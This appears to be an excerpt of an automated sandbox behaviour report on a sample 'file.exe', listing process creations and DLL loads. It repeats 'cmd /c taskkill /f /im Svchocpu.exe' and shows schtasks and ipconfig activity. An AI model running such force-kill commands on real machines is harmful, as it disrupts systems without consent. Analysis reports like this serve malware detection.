Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
